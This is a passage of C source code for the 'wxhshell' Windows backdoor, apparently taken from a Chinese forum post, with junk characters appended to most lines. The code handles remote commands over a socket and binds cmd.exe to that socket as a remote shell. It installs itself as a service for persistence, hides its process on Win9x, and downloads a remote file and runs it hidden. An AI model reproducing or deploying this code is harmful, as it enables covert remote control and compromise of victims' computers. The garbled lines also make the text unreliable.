  case '?': { G9Ezm*I;:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2YQ$hL~  
    break; $ E6uA}s  
  } ' 'N@ <|  
  // 安装 j+seJg<_  
  case 'i': { )qe o`4+y  
    if(Install()) ;rbn/6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @,.H)\a4  
    else qI:wm=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :#;?dMkTY  
    break; 6 h):o  
    } iqYc&}k,  
  // 卸载 Dr609(zg^  
  case 'r': { f}4h}Cq  
    if(Uninstall()) hG]20n2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E}+A)7mA  
    else :=@[FXD4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FT6cOMu  
    break; LA5rr}<K  
    } CJ b ~~  
  // 显示 wxhshell 所在路径 cj)~7 WF  
  case 'p': { eS|p3jk;  
    char svExeFile[MAX_PATH]; ( d.i np(  
    strcpy(svExeFile,"\n\r"); >6j`ZWab>  
      strcat(svExeFile,ExeFile); zQJbZ=5Bu"  
        send(wsh,svExeFile,strlen(svExeFile),0); b%F*Nr  
    break; x&wUPo{  
    } d=XhOC$  
  // 重启 |@nXlZE  
  case 'b': { #.RI9B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AF}HS8eYy  
    if(Boot(REBOOT)) k:.c(_2M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HN! l-z  
    else { ~ln,Cm} 4  
    closesocket(wsh); ebchHnOd  
    ExitThread(0); ,58[WZG  
    } ^C{a'  
    break; ~qF9*{~!  
    } rO~D{)Nu  
  // 关机 ;I0/zeM%  
  case 'd': { ?{'Q}%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CpXv?uU   
    if(Boot(SHUTDOWN)) mB\|<2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U?>cm`DBP  
    else { RVe3@|9(G  
    closesocket(wsh);  xMU)  
    ExitThread(0); ~i4@sz&  
    } f$L5=V  
    break; n 8Fi?/  
    } Jor?;qo3  
  // 获取shell Sn]A0J_  
  case 's': { W0|?R6|  
    CmdShell(wsh); T+fU +GLD  
    closesocket(wsh); ~zx-'sc?  
    ExitThread(0); d?>sy\{2  
    break; 4ET P  
  } =Ev } v  
  // 退出 i || /=ai  
  case 'x': { &uM?DQ`o8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dxA=gL2  
    CloseIt(wsh); k&2I(2S  
    break; Q. >"@c[  
    } J=sQ].EK  
  // 离开 4 _ 3\4  
  case 'q': { G2rvi=8=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <8Ad\MU  
    closesocket(wsh); Nuj%8om6  
    WSACleanup(); R[z6 c )  
    exit(1); l"Css~^  
    break; Vy biuP  
        } @ 9uwcM1F  
  } 8PQ& 7o  
  } 83h6>D b  
"^\4xI  
  // 提示信息 D 6(w}W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Yklaq5  
} ~_q\?pw<$L  
  } C1_NGOvT  
QwiC2}/  
  return; h OV+}P6  
} #Jn_"cCRLx  
Sb<=ROCg@  
// shell模块句柄 6Z3v]X  
int CmdShell(SOCKET sock) ,J[sg7v cv  
{ L6FUC6x"  
STARTUPINFO si; r8qee$^M  
ZeroMemory(&si,sizeof(si)); 607#d):Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J&5|'yVX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "_^FRz#h  
PROCESS_INFORMATION ProcessInfo; Z^sO`C  
char cmdline[]="cmd"; 7HzKjR=B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IL<5Suz:  
  return 0; vUW!  
} MRs8l  
5<u+2x8|  
// 自身启动模式 e}kG1C8  
int StartFromService(void) 6>l-jTM  
{ |YH1q1l  
typedef struct  tW,<Pe  
{ 2$jY_{B+x  
  DWORD ExitStatus; <1"6`24  
  DWORD PebBaseAddress; dM QnN[d6  
  DWORD AffinityMask; 4m~\S)ad  
  DWORD BasePriority; Axr 'zc  
  ULONG UniqueProcessId; 6A%Y/oU+2  
  ULONG InheritedFromUniqueProcessId; '?QZ7A  
}   PROCESS_BASIC_INFORMATION; i'a M#4V  
@sVBG']p  
PROCNTQSIP NtQueryInformationProcess; v^e[`]u(  
I%%$O' S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RvVnVcn^#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (bXCc  
i22R3&C  
  HANDLE             hProcess; Q (`IiV   
  PROCESS_BASIC_INFORMATION pbi; 0-=QQOART\  
2WKA] l;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tux~4W  
  if(NULL == hInst ) return 0; R^D~ic N  
!OiP<8 ,H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FrB19  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rq;R{a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \PL92HV  
0ya_[\  
  if (!NtQueryInformationProcess) return 0; 2-8<uUy  
&4 ]%&mX)-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fz:F*zT1  
  if(!hProcess) return 0; 'Y[\[]3[8  
-2f0CAh~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m0 `wmM  
%F03cI,  
  CloseHandle(hProcess); py)V7*CgH  
 pxP7yJL`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )]v vp{  
if(hProcess==NULL) return 0; r&^4L  
?L|@{RS{|  
HMODULE hMod; p_[k^@ $  
char procName[255]; a-hF/~84S:  
unsigned long cbNeeded; ym-212wl  
Hd4&"oeY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 55hJRm3  
[j&>dE  
  CloseHandle(hProcess); %uQ^mK  
Dtn|$g,  
if(strstr(procName,"services")) return 1; // 以服务启动 +&JF|#FQ`  
n`CmbM@@  
  return 0; // 注册表启动 $+$+;1[  
} j'~xe3j  
~?nPp$^  
// 主模块 %2V_%KA  
int StartWxhshell(LPSTR lpCmdLine) mz>"4-]  
{ nc([e9_9v  
  SOCKET wsl; 1&wLNZXH  
BOOL val=TRUE; ;IwC`!(#  
  int port=0; ,VbP$1t  
  struct sockaddr_in door; ,~c:P>v=  
D_'Zucq  
  if(wscfg.ws_autoins) Install(); cJL>,Z<|%  
@aI`ru+a  
port=atoi(lpCmdLine); \\BblzGMR  
Yr"G)i~"Y  
if(port<=0) port=wscfg.ws_port; 9Lv`3J^~  
7 pp[kv;!G  
  WSADATA data; b5KX`r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *pj&^W?  
}KJ/WyYW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6D) vY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?f:FmgQk  
  door.sin_family = AF_INET; %WdAI,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vfmKYiLp  
  door.sin_port = htons(port); D{\hPv  
'Ko T8g\b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c!E+&5|n  
closesocket(wsl); KK/~W  
return 1; R /iB  
} ^+!!:J|ra  
^?w6  
  if(listen(wsl,2) == INVALID_SOCKET) { F~z4T/TN%G  
closesocket(wsl); 9^>nZ6  
return 1; .z)&#2E  
} 'd'*4 )]k  
  Wxhshell(wsl); ga0W;Vq&X  
  WSACleanup(); XP~4jOL]  
s:,BcVLx^  
return 0; Y[@$1{YS  
m8#+w0p)  
} mam|aRzd  
rC$ckug  
// 以NT服务方式启动 `UGHk*DL)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  pb6z)8  
{ %E,s*=j  
DWORD   status = 0; N'3Vt8o,  
  DWORD   specificError = 0xfffffff; (hs[B4nV  
V;Te =4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m'@NF--#Oq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :p5V5iG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e\tcP  
  serviceStatus.dwWin32ExitCode     = 0; 44]/rP_m  
  serviceStatus.dwServiceSpecificExitCode = 0; 9^x'x@6  
  serviceStatus.dwCheckPoint       = 0; &qF   
  serviceStatus.dwWaitHint       = 0; Q3'\Vj,S&  
FlgK:=Fmj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  UcKpid  
  if (hServiceStatusHandle==0) return; I~gU3(  
7J.alV4`/  
status = GetLastError(); vSX71  
  if (status!=NO_ERROR) c"H*9u:  
{ gfR B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WfL5. &  
    serviceStatus.dwCheckPoint       = 0; u#ag|b/C:  
    serviceStatus.dwWaitHint       = 0; d*4fl.  
    serviceStatus.dwWin32ExitCode     = status; T\NvN&h-  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'OK)[\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t9;yyZh  
    return; Yx>=(B  
  } 7 `thM/fN  
c>,|[zP{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2*ZB[5_V  
  serviceStatus.dwCheckPoint       = 0; UPfH~H[1)  
  serviceStatus.dwWaitHint       = 0; ~L<q9B( @  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]9pK^<  
} $2~I-[  
f4@>7K]9TA  
// 处理NT服务事件,比如:启动、停止 0V }knR.l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'x$>h)t]  
{ >T'^&l(:  
switch(fdwControl) 2zZ" }Zr#  
{ @rB!47!  
case SERVICE_CONTROL_STOP: oQ{(7.e7)  
  serviceStatus.dwWin32ExitCode = 0; 0sD"Hu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [yF>W$Bn%  
  serviceStatus.dwCheckPoint   = 0; ep>*]'  
  serviceStatus.dwWaitHint     = 0; 7`9J.L&,;  
  { WyF1Fw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /=).)<&|R  
  } /r^J8B*  
  return; A (S=  
case SERVICE_CONTROL_PAUSE: 7Y"CeU-S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; / q*n*j  
  break; UC"<5z lcu  
case SERVICE_CONTROL_CONTINUE: _l<e>zj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vc0'x4  
  break; -]C3_ve  
case SERVICE_CONTROL_INTERROGATE: -|"W|K?nq  
  break; &-mPj82R  
}; mI_ ?hl?Pv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iaPrkMhd  
} wi-O}*O   
zUF%`CR  
// 标准应用程序主函数 ?j6?KR@#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yj13>"nh  
{ ?`#)JG,A7  
# xx{}g]%  
// 获取操作系统版本 t2Q40' `  
OsIsNt=GetOsVer(); n&DRh.@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v!{mpF  
$k5mI1~  
  // 从命令行安装 e@}zp  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~M7 J{hK  
?=}~]A5N  
  // 下载执行文件 ]A+q:kP  
if(wscfg.ws_downexe) { f?}~$agc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +nU"P  
  WinExec(wscfg.ws_filenam,SW_HIDE); J{<,V\t)  
} ;<i`6e  
>G(M&  
if(!OsIsNt) { n#8N{ya5x1  
// 如果时win9x,隐藏进程并且设置为注册表启动 w7GF,a  
HideProc();  ;j|T#-.  
StartWxhshell(lpCmdLine); O{:_-eI&d  
} O4H %x  
else k<x  %  
  if(StartFromService()) -L<''2t  
  // 以服务方式启动 NZ`Mq  
  StartServiceCtrlDispatcher(DispatchTable); XMzL\Edo  
else Z\Qa6f!  
  // 普通方式启动 ky*-THS  
  StartWxhshell(lpCmdLine); tu {y  
yyCx;  
return 0; f-!t31?XK  
}
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只看该作者 1 发表于: 2006-10-10
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